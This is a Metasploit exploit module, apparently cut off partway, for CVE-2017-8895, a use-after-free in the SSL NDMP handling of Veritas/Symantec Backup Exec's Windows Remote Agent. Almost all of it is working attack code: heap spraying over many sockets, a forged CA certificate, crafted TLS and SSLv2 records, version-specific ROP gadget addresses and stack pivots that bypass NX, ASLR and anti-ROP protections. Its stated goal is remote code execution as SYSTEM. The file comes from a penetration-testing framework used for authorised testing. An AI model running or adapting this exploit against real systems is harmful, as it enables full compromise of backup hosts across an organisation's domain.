1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/ndmp_socket' require 'openssl' require 'xdr' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::NDMPSocket def initialize(info={}) super(update_info(info, 'Name' => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free', 'Description'=> %q{ This module exploits a use-after-free vulnerability in the handling of SSL NDMP connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL is re-established on a NDMP connection that previously has had SSL established, the BIO struct for the connection's previous SSL session is reused, even though it has previously been freed. This module supports 3 specific versions of the Backup Exec agent in the 14, 15 and 16 series on 64-bit and 32-bit versions of Windows and has been tested from Vista to Windows 10. The check command can help narrow down what major and minor revision is installed and the precise of version of Windows, but some other information may be required to make a reliable choice of target. NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a reliability of around 85%. On other versions of Windows, reliability is around 35% (due to the need to win a race condition across the network in this case; this may drop further depending on network conditions). The agent is normally installed on all hosts in a domain that need to be backed up, so if one service crashes, try again on another :) Successful exploitation will give remote code execution as the user of the Backup Exec Remote Agent for Windows service, almost always NT AUTHORITY\SYSTEM. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Matthew Daley' ], 'References' => [ [ 'CVE', '2017-8895' ], [ 'VTS', '17-006' ], [ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ] ], 'Platform' => 'win', 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload'=> { 'DisableNops' => true }, 'Targets'=> [ [ 'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64', { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true } ], [ 'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86', { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true } ], [ 'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64', { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false } ], [ 'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86', { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false } ], [ 'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64', { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true } ], [ 'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86', { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true } ], [ 'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64', { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false } ], [ 'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86', { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false } ], [ 'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64', { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true } ], [ 'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86', { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true } ], [ 'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64', { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false } ], [ 'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86', { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false } ] ], 'DefaultOptions' => { 'RPORT'=> 10000, 'NumTriggerAttempts' => 50, 'EXITFUNC' => 'thread' }, 'Privileged' => true, 'DisclosureDate' => 'May 10 2017', 'DefaultTarget'=> 8)) register_options([ OptInt.new('NumSpraySockets',[ false, 'Number of sockets to spray stage 1 with' ]), OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]), OptInt.new('NumTriggerAttempts', [ true,'Number of attempts to trigger the vulnerability (Windows 8+ only)' ]) ]) end def check s = NDMP::Socket.new(connect) return CheckCode::Unknown unless connect_ndmp(s, 2) resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO)) return CheckCode::Unknown unless resp info = HostInfoResponse.from_xdr(resp.body) print_line('Hostname: ' + info.hostname) print_line('OS type: ' + info.os_type) print_line('OS version: ' + info.os_version) print_line('Host ID: ' + info.host_id) disconnect s = NDMP::Socket.new(connect) return CheckCode::Unknown unless connect_ndmp(s, 3) resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)) return CheckCode::Unknown unless resp info = ServiceInfoResponse.from_xdr(resp.body) print_line('Vendor: ' + info.vendor_name) print_line('Product: ' + info.product_name) print_line('Revision: ' + info.revision_number) ver = info.revision_number.split('.') if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2) CheckCode::Appears else CheckCode::Detected end end def exploit print_status('Connecting sockets...') # Connect a differing amount of sockets for stage 1 spraying depending on the target spray_socks = connect_additional_sockets( datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200), target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3 ) # Likewise, connect a differing amount of sockets for TLS extension spraying depending # on the target num_tls_spray_socks = datastore['NumTLSSpraySockets'] || ( case target.opts['Version'] when 14 0 when 15 target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100 when 16 target.opts['Arch'] == ARCH_X64 ? 100 : 0 end ) tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3) s = NDMP::Socket.new(connect) unless connect_ndmp(s, 3) fail_with(Failure::UnexpectedReply, "Couldn't connect main socket") end ca_cert, ca_key = generate_ca_cert_and_key ca_cert_id = get_cert_id(ca_cert) print_status("CA certificate ID = #{ca_cert_id.to_s(16)}") print_status('Getting and handling a certificate signing request...') agent_cert = handle_a_csr(s, ca_cert, ca_key) fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil? print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}") if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15 # For certain target types, put the stage 1 spray sockets into SSL mode. We can use # the newly made CA certificate and key as our client side certificate ssl_context = OpenSSL::SSL::SSLContext.new ssl_context.cert = ca_cert ssl_context.key = ca_key print_status('Entering spray sockets into SSL mode...') (1..2).each do |phase| spray_socks.each do |ss| require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase) require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase) ss.wrap_with_ssl(ssl_context) if phase == 2 end end end print_status('Testing certificate...') require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id) # For some targets, split the spraying of TLS extensions around entering SSL on the # main socket tls_cutoff = tls_spray_socks.length if target.opts['Win8Upwards'] if target.opts['Arch'] == ARCH_X86 tls_cutoff /= 2 end else tls_cutoff /= 10 end spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id) print_status('Entering SSL mode on main socket...') require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id) # Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other # stages are contained in the SSL socket buffer at the time of the UAF. The record # itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the # record (depending on the amount of trigger attempts required; see attempt_triggers) print_status('Sending stages 2 to 4...') if target.opts['Arch'] == ARCH_X64 if target.opts['Version'] == 14 # x64, version 14. Use a TLS handshake record # # Windows 8+: # Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8 #0123456789ABCDEF #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ #0 | 16 | 03 | 01 | length| FILLER #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10| ret 3 #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 20| ret | FILLER | #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 30 | retsled (0x10 aligned length)...| #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # .. | stages 2-4... #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # # Otherwise: # Stage 1 jumps to 0x18 #0123456789ABCDEF #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ #0 | 16 | 03 | 01 | length| FILLER #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10 | ret | #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 20 | stages 2-4... #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ ret = [0xbe6c897].pack('Q<') if target.opts['Win8Upwards'] ret_3 = [0xbe2829b].pack('Q<') payload = rand_text(24) + ret_3 + ret + rand_text(3) + ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max else payload = rand_text(19) + ret end payload << generate_stages_2_to_4 stage_tls = generate_tls_handshake_record(payload) else # x64, version 15/16. Use a SSLv2 hqndshake record # Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8 # Otherwise: Stage 1 jumps to 0x18 #0123456789ABCDEF #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ #0 | length| 01 | 03 | FILLER #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10 | pop x3; ret | #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 20 | FILLER | ret 5 | ret #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 30| FILLER | retsled (0x8 aligned length)... | #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 40 | stages 2 - 4... #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ pop_x3 = [0xbe1d920].pack('Q<') ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<') ret = [0xbe6c897].pack('Q<') payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) + ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max + generate_stages_2_to_4 stage_tls = generate_tls_in_sslv2_clienthello(payload) end else if target.opts['Version'] == 14 # x86, version 14. Use a TLS handshake record # Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4 # Otherwise: Stage 1 jumps to 0x4 #0123456789ABCDEF #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ #0 | 16 | 03 | 01 | ln | pop x3; ret | FL | ret 3 | ret #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10| FILLER | retsled...| stages 2 to 4... #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ pop_x3 = [0x6311f901].pack('L<') ret_3 = [0x6312164a].pack('L<') ret = [0x63101514].pack('L<') payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) + ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4) stage_tls = generate_tls_handshake_record(payload, pop_x3[0]) else # x86, version 15/16. Use a SSLv2 hqndshake record # Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4 # Otherwise: Stage 1 jumps to 0x4 #0123456789ABCDEF #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ #0 | length| 01 | 03 | add esp, 0xc; ret | FILLER | inc esp; ret #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10| FL | retsled...| stages 2 to 4... #+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<') inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<') ret = [0x63101564].pack('L<') payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char + ret * [0, datastore['NumTriggerAttempts'] - 3].max + generate_stages_2_to_4 stage_tls = generate_tls_in_sslv2_clienthello(payload) end end s.raw_sendall(stage_tls, 0) if target.opts['Version'] == 14 resp = s.raw_recv(5) fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty? s.raw_recv(resp[3...5].unpack('n')[0]) end print_status('Closing TLS spray sockets...') tls_spray_socks.reverse! unless target.opts['Win8Upwards'] tls_spray_socks.each do |ts| ts.close sleep(0.1) end sleep(1) # Spray stage 1 in the string payloads of selected NDMP packet types if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64 spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1]) spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR else spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2 spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH end spray_msg = NDMP::Message.new_request(spray_msg_type, spray_payload) # We need to be able to detect as soon as a connection is made to the payload in order # to stop spraying/trigger attempts ASAP @payload_connected = false if payload_instance.respond_to?(:handle_connection) old_handle_connect = payload_instance.method(:handle_connection) payload_instance.define_singleton_method(:handle_connection) do |*args| @payload_connected = true old_handle_connect.call(*args) end end if target.opts['Win8Upwards'] # After this SSL request, the BIO struct is freed but still referred to in the new # SSL context print_status('Re-entering SSL mode on main socket...') require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF attempt_triggers(s, spray_socks, spray_msg) else # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race attempt_race(s, spray_socks, spray_msg, ca_cert_id) end handler end private SSL_HANDSHAKE_REQUEST = 0xf383 class SSLRequest < XDR::Struct class Opcode < XDR::Enum member :test_cert, 1 member :get_csr_req, 2 member :give_signed_cert, 3 member :start_ssl, 4 seal end attribute :opcode,Opcode attribute :media_server_name, XDR::String[] attribute :media_server_fqdn, XDR::String[] attribute :media_server_addr, XDR::String[] attribute :cert_id_1, XDR::Int attribute :cert_id_2, XDR::Int attribute :unknown1,XDR::Int attribute :unknown2,XDR::Int attribute :unknown3,XDR::Int attribute :ca_cert, XDR::String[] attribute :unknown4,XDR::Int attribute :agent_cert,XDR::String[] def self.new_for_opcode(opcode) new( :opcode=> opcode, :media_server_name => 'foo', :media_server_fqdn => 'foo', :media_server_addr => 'foo', :cert_id_1 => 0, :cert_id_2 => 0, :unknown1=> 0, :unknown2=> 0, :unknown3=> 0, :ca_cert => '', :unknown4=> 0, :agent_cert=> '' ) end end class SSLResponse < XDR::Struct attribute :unknown1, XDR::Int attribute :unknown2, XDR::String[] attribute :unknown3, XDR::Int attribute :unknown4, XDR::String[] def empty? (attributes[:unknown1].zero? && attributes[:unknown2].empty? && attributes[:unknown3].zero? && attributes[:unknown4].empty?) end end class ServiceInfoResponse < XDR::Struct attribute :error, XDR::Int attribute :vendor_name, XDR::String[] attribute :product_name,XDR::String[] attribute :revision_number, XDR::String[] attribute :auth_types,XDR::VarArray[XDR::Int] end class HostInfoResponse < XDR::Struct attribute :error,XDR::Int attribute :hostname, XDR::String[] attribute :os_type,XDR::String[] attribute :os_version, XDR::String[] attribute :host_id,XDR::String[] attribute :unknown,XDR::VarArray[XDR::Int] end # # Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages. # def connect_ndmp(s, version, phase=nil) if phase.nil? || phase == 1 return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED) end if phase.nil? || phase == 2 return false unless s.prepare_and_write_ndmp_msg( NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version)) ) end if phase.nil? || phase == 3 msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN) return false unless msg fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero? end true end # # Connect multiple NDMP sockets of a given version. Parallelizes over connection phases. # def connect_additional_sockets(num_socks, version) socks = (0...num_socks).map do NDMP::Socket.new(connect(false)) end (1..3).each do |phase| socks.each do |ss| unless connect_ndmp(ss, version, phase) fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})") end end end socks end # # Send a Backup Exec-specific SSL NDMP request and receive the response. # def do_simple_ssl_request(s, opcode, ca_cert_id, phase=nil) if phase.nil? || phase == 1 req = SSLRequest.new_for_opcode(opcode) req.cert_id_1 = req.cert_id_2 = ca_cert_id msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr) if block_given? last = s.prepare_and_write_ndmp_msg(msg, true) return nil unless last sleep(1) yield true s.raw_sendall(last, 0) yield false else return nil unless s.prepare_and_write_ndmp_msg(msg) end end if phase.nil? || phase == 2 msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST) return msg ? SSLResponse.from_xdr(msg.body) : nil end nil end # # Send a Backup Exec SSL NDMP request and receive the response, requiring the response # to be empty. # def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil) resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase) if phase.nil? || phase == 2 fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty? end end # # Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes # of the SHA-1 of the issuer and the raw serial number. # def get_cert_id(cert) Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0] end # # Create a self-signed CA certificate and matching key. # def generate_ca_cert_and_key(key_len=2048) ca_key = OpenSSL::PKey::RSA.new(key_len) ca_cert = OpenSSL::X509::Certificate.new ca_cert.version= 3 ca_cert.serial = 1 ca_cert.subject= ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF') ca_cert.not_before = Time.now - 60 * 60 * 24 ca_cert.not_after= Time.now + 60 * 60 * 24 * 365 ca_cert.public_key = ca_key.public_key extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert) ca_cert.extensions = [ extn_factory.create_extension('subjectKeyIdentifier', 'hash'), extn_factory.create_extension('basicConstraints', 'critical,CA:true') ] # Have to do this after creating subjectKeyIdentifier extension ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer')) ca_cert.sign(ca_key, OpenSSL::Digest::SHA256.new) [ca_cert, ca_key] end # # Get and handle a certificate signing request from Backup Exec with the given CA # certificate and key. # def handle_a_csr(s, ca_cert, ca_key) resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0) return nil if resp.nil? request = OpenSSL::X509::Request.new(resp.unknown2) agent_cert = OpenSSL::X509::Certificate.new agent_cert.version= 3 agent_cert.serial = 2 agent_cert.subject= request.subject agent_cert.issuer = ca_cert.subject agent_cert.not_before = Time.now - 60 * 60 * 24 agent_cert.not_after= Time.now + 60 * 60 * 24 * 365 agent_cert.public_key = request.public_key extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert) agent_cert.extensions = [ extn_factory.create_extension('subjectKeyIdentifier', 'hash'), extn_factory.create_extension('basicConstraints', 'critical,CA:false') ] # Have to do this after creating subjectKeyIdentifier extension agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer')) agent_cert.sign(ca_key, OpenSSL::Digest::SHA256.new) req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert) req.ca_cert = ca_cert.to_s req.agent_cert = agent_cert.to_s return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)) agent_cert end # # Generate a TLS handshake record with the given payload. # def generate_tls_handshake_record(payload, required_fifth_byte=nil) fail_with(Failure::Unknown, 'No payload') if payload.empty? # Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset # 0x4) instead of in non-header data; here it's necessary to control the 5th byte of # the header, which is the second byte of the length word unless required_fifth_byte.nil? payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100) end "\x16\x03\x01" + [payload.length].pack('n') + payload end # # Generate a TLS ClientHello record with the given Random and extensions (ie. for # holding stages 2-4). # def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random) if ec_formats_extn_payload.empty? && curves_extn_payload.empty? fail_with(Failure::Unknown, 'No TLS extension payloads given') end if ec_formats_extn_payload.length > 0xff fail_with(Failure::Unknown, 'Bad EC formats extension length') end if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff fail_with(Failure::Unknown, 'Bad curves extension length') end if random.length != 0x20 fail_with(Failure::Unknown, 'Bad random length') end extns = '' unless curves_extn_payload.empty? extns << [ 10, curves_extn_payload.length + 2, curves_extn_payload.length ].pack('n*') + curves_extn_payload end unless ec_formats_extn_payload.empty? extns << [ 11, ec_formats_extn_payload.length + 1, ec_formats_extn_payload.length ].pack('nnC') + ec_formats_extn_payload end r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00" r << [extns.length].pack('n') + extns r = "\x01" + [r.length].pack('N')[1...4] + r generate_tls_handshake_record(r) end # # Generate a TLS ClientHello record in a SSLv2 record with a given payload. # def generate_tls_in_sslv2_clienthello(payload) fail_with(Failure::Unknown, 'No payload') if payload.empty? fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1 r = "\x01\x03" + payload [r.length | 0x8000].pack('n') + r end # # Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui. # def spray_tls_extensions(tls_spray_socks, ca_cert_id) payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40 spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20)) print_status('Spraying TLS extensions...') (1..2).each do |phase| tls_spray_socks.each do |ts| require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase) require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase) if phase == 2 ts.raw_sendall(spray, 0) sleep(0.1) end end end sleep(1) end # # Generate stage 1. # # This stage is what overwrites the freed BIO struct. It consists of a non-zero readable # location (to prevent Backup Exec from falling over or failing) and a stack pivot to # some offset from the current SSL socket buffer read location, which will hold a # TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot # offset will be different at each UAF trigger attempt; see attempt_triggers). # def generate_stage_1 if target.opts['Arch'] == ARCH_X64 stage_1 = [ # +0x18 from here is a non-zero, readable location. This is the load address of # becrypto.dll (which is non-ASLR) 0xbe00000, # On x64, we pivot into the current SSL socket buffer read location + 0x18 # lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret [0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14] ].pack('Q<*') else stage_1 = [ # +0x18 from here is a non-zero, readable location. This is the load address of # becrypto.dll (which is non-ASLR) 0x63100000, # On x86, we pivot into the current SSL socket buffer read location + 0x4 # mov esp, ebp; pop ebp; ret target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d ].pack('L<*') end stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length) end # # Generate stages 2 to 4. # # Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted # to) onto the stack, bypassing Windows 8+'s check before certain functions (like # VirtualProtect) that we have called them from within expected stack memory instead of # the heap. # # Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable # (but we only really need stage 4 executable anyway). # # Stage 4 is the user-selected Metasploit payload code. # def generate_stages_2_to_4 stage_4 = 